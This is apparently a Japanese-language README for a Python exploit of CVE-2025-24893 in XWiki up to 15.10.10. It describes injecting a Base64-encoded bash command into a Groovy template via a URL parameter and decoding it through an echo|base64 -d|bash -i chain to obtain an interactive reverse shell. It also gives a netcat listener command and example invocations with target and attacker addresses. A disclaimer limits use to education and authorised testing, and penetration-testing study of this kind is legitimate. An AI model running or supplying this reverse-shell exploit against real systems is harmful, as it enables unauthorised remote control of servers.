
CVE-2025-24893 XWikiのリバースシェル機能付きRCEエクスプロイト
免責事項: このスクリプトは教育目的および許可されたセキュリティテストのみを意図しています。所有していない、または明示的なテスト許可がないシステムでは使用しないでください。悪用は違法かつ危険です。
このPythonスクリプトは、XWikiバージョン15.10.10までに影響するリモートコード実行脆弱性CVE-2025-24893を悪用します。
このバージョンは、Al Baradi Joyによる元のPoCを拡張し、リバースシェルを起動します。元のPoCはこちらにあります。
XWikiはURLパラメータを介してGroovyコードを実行します。
このエクスプロイトは、Groovyテンプレートに**bash -cコマンド**を注入します。
通常のリバースシェルには複数の引用符(' および ")が含まれており、Groovyの評価とURLを壊してしまいます。
これを解決するために、スクリプトはワンライナーシェルコマンドをBase64でエンコードします。
ペイロードはURLで送信され、以下のチェーンを使用して実行されます:
{echo,<base64>} | {base64,-d} | {bash,-i}
これによりBase64ペイロードが安全にデコードされ、bash -iで実行され、インタラクティブなリバースシェルが得られます。
http://<target-host>//xwikiパス(スクリプトが自動的に追加します)例:
# Correct
http://10.129.95.114:8080
http://example.com:8080
# Incorrect
http://10.129.95.114:8080/ # trailing slash
http://example.com/xwiki # includes /xwiki
エクスプロイトを実行する前に、リバースシェルを受信するためにマシンでリスナーを起動する必要があります。
Netcatを使用した例:
nc -lvnp <lport>
<lport>はスクリプトの引数として指定するポートと一致する必要があります。python3 cve-2025-24893.py <target_base_url> <lhost> <lport>
例:
python3 cve-2025-24893.py http://10.129.95.114:8080 10.0.0.5 4444